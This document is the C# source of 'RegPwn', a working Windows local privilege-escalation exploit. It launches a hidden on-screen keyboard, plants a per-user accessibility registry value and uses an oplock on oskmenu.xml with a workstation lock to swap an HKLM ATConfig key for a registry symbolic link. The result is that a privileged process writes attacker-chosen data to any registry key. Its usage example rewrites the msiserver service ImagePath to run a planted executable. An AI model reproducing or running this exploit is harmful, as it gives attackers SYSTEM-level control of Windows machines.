using System;
using System.Runtime.InteropServices;
using System.Threading;
using static RegPwn.WindowsApi;
using NtApiDotNet;
using System.Security.AccessControl;
using Microsoft.Win32;
namespace RegPwn
{
    public class Program
    {
       

        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Usage();
                return;
            }
            if (!ParseArgs(args))
            {
                Usage();
                return;
            }
            Console.WriteLine("[*] Arguments parsed successfully.");
            string oldval = CheckRegValue(Config.regKey, Config.regValueName);
            if(oldval == "Registry key does not exist.")
            {
                Console.WriteLine("[-] Target registry key do not exist.");
                return;
            }
            Console.WriteLine("[*] Old registry value: {0}", oldval);
            // Get HKLM path to ATConfig
            String hklmPath = GetPath();
            if(String.IsNullOrEmpty(hklmPath))
            {
                return;
            }
            
            
            Console.WriteLine(@"[+] ATConfig path: {0}", hklmPath);

            // Start hidden osk process
            if(!StartOsk())
            {
                return;
            }
            
            // Add registry value
            if(!AddRegValue())
            {
                return;
            }
            NtFile hfile = NtFile.Open(@"\??\C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml", null, FileAccessRights.GenericRead, FileShareMode.Write | FileShareMode.Delete, FileOpenOptions.None);
            var oplock = hfile.OplockExclusiveAsync();
            bool wksLocked = false;
            bool oplocktriggerd = false;
            while(!oplocktriggerd)
            {
                if(wksLocked == false)
                {
                    wksLocked = true;
                    LockWorkStation();
                }
                Thread.Sleep(500);
                if(oplock.IsCompleted)
                {
                    Console.WriteLine("[+] Oplock triggered.");
                    if (RegDeleteKey(HKEY_LOCAL_MACHINE, hklmPath) != 0x0)
                    {
                        Console.WriteLine("[-] RegDeleteKey failed: {0}", Marshal.GetLastWin32Error());
                        return;
                    }
                    byte[] data = System.Text.Encoding.Unicode.GetBytes(@"\Registry\Machine\" + Config.regKey.Substring(5));
                    IntPtr hKey;
                    RegistryDispositionValue disposition;
                    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, hklmPath, 0, null, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_WRITE, IntPtr.Zero, out hKey, out disposition) != 0x0)
                    {
                        Console.WriteLine("[-] RegCreateKeyExW failed: {0}", Marshal.GetLastWin32Error());
                        return;
                    }


                    if (RegSetValueExW(hKey, "SymbolicLinkValue", 0, REG_LINK, data, (uint)data.Length) != 0x0)
	{
                        Console.WriteLine("[-] RegSetValueExW failed: {0}", Marshal.GetLastWin32Error());
                        return;
                    }
                    Console.WriteLine("[+] Symlink created.");
                    RegCloseKey(hKey);

                    hfile.AcknowledgeOplock(OplockAcknowledgeLevel.No2);
                    oplocktriggerd = true;

                }
            }

            Thread.Sleep(5000);
            IntPtr hKey2;
            RegOpenKeyEx(HKEY_LOCAL_MACHINE, hklmPath, REG_OPTION_OPEN_LINK, DELETE, out hKey2);
            uint result = NtDeleteKey(hKey2);
            if (result == 0)
            {
                Console.WriteLine("[+] Symlink deleted.");
            }
            RegCloseKey(hKey2);
            string newval = CheckRegValue(Config.regKey, Config.regValueName);
            if(newval == oldval)
            {
                Console.WriteLine("[-] Exploit failed. Registry value: {0}", newval);
                return;
            }
            Console.WriteLine("[+] Exploit successful. New registry value: {0}", newval);

        }
        public static void Usage()
        {
            Console.WriteLine(@"[*] Usage: RegPwn.exe --regKey <reg key> --regValueName <reg value name> --regValueData <reg data> --regValueType <reg value type>");
            Console.WriteLine(@"[*] Example RegPwn.exe --regKey HKLM\SYSTEM\ControlSet001\Services\msiserver --regValueName ImagePath --regValueData C:\Programdata\serivce.exe --regValueType REG_EXPAND_SZ");
        }
        public static bool ParseArgs(string[] args)
        {
            int iter = 0;
            foreach (string item in args)
            {
                switch (item)
                {
                    case "--regKey":
                        Config.regKey = args[iter + 1];
                        break;
                    case "--regValueData":
                        Config.regValueData = args[iter + 1];
                        break;
                    case "--regValueName":
                        Config.regValueName = args[iter + 1];
                        break;
                    case "--regValueType":
                        Config.regValueType = args[iter + 1];
                        break;
                    default:
                        break;
                }

                ++iter;
            }
            if (String.IsNullOrEmpty(Config.regValueName) || String.IsNullOrEmpty(Config.regKey) || String.IsNullOrEmpty(Config.regValueData) || String.IsNullOrEmpty(Config.regValueType))
            {
                return false;
            }
            return true;


        }
       
        public static string GetPath()
        {
            IntPtr tokenHandle = new IntPtr(-4);
            int tokenInfoLength = Marshal.SizeOf(typeof(uint));
            IntPtr tokenInfo = Marshal.AllocHGlobal(tokenInfoLength);

            try
            {
                if (GetTokenInformation(tokenHandle, WindowsApi.TokenSessionId, tokenInfo, tokenInfoLength, out _))
                {
                    uint sessionId = Marshal.PtrToStructure<uint>(tokenInfo);
                    return String.Format(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session{0}\ATConfig\osk",sessionId);
                }
                else
                {
                    Console.WriteLine("Failed to get token session ID. Error: " + Marshal.GetLastWin32Error());
                }
            }
            finally
            {
                Marshal.FreeHGlobal(tokenInfo);
            }

            return null;
        }
        public static bool StartOsk()
        {
            var shExInfo = new WindowsApi.SHELLEXECUTEINFO
            {
                cbSize = Marshal.SizeOf(typeof(WindowsApi.SHELLEXECUTEINFO)),
                fMask = 0x00000040,
                hwnd = IntPtr.Zero,
                lpFile = @"C:\windows\system32\osk.exe",
                lpParameters = null,
                lpDirectory = null,
                nShow = 0,
                hInstApp = IntPtr.Zero
            };

            if (ShellExecuteEx(ref shExInfo))
            {
                Console.WriteLine("[+] Process created. Sleeping for 5 seconds.");
                Thread.Sleep(5000);

                if (shExInfo.hProcess != IntPtr.Zero)
                {
                    CloseHandle(shExInfo.hProcess);
                }
                return true;
            }
            else
            {
                int errorCode = Marshal.GetLastWin32Error();
                Console.WriteLine($"[-] Failed to create process: {errorCode}.");
                return false;
            }
        }
        public static bool AddRegValue()
        {
            IntPtr hKey;
            RegistryDispositionValue iDisposition;
            if (RegCreateKeyExW(HKEY_CURRENT_USER, @"Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk", 0,null, 0, KEY_WRITE, IntPtr.Zero,out hKey, out iDisposition) != 0x0)
            {
                Console.WriteLine("[-] RegCreateKeyExW failed: {0}.", Marshal.GetLastWin32Error());
                return false;
            }
            byte[] data = System.Text.Encoding.Unicode.GetBytes(Config.regValueData);
            if (RegSetValueExW(hKey, Config.regValueName, 0, REG_EXPAND_SZ, data, (uint)data.Length) != 0x0)
	{
                Console.WriteLine("[-] RegSetValueExW failed: {0}.", Marshal.GetLastWin32Error());
                return false;
            }
            RegCloseKey(hKey);
            Console.WriteLine("[+] Registry value added.");
            return true;

          
        }
        public static string CheckRegValue(string keyPath, string valueName)
        {
            {
                try
                {
                    using (RegistryKey key = Registry.LocalMachine.OpenSubKey(keyPath.Substring(5)))
                    {
                        if (key == null)
                        {
                            return "Registry key does not exist.";
                        }

                        object value = key.GetValue(valueName);

                        if (value == null)
                        {
                            return "Value Don't Exist";
                        }

                        if (string.IsNullOrEmpty(value.ToString()))
                        {
                            return "Value Empty";
                        }


                        return value.ToString();
                    }
                }
                catch (Exception ex)
                {
                    return $"Error: {ex.Message}";
                }
            }
        }
    }
}
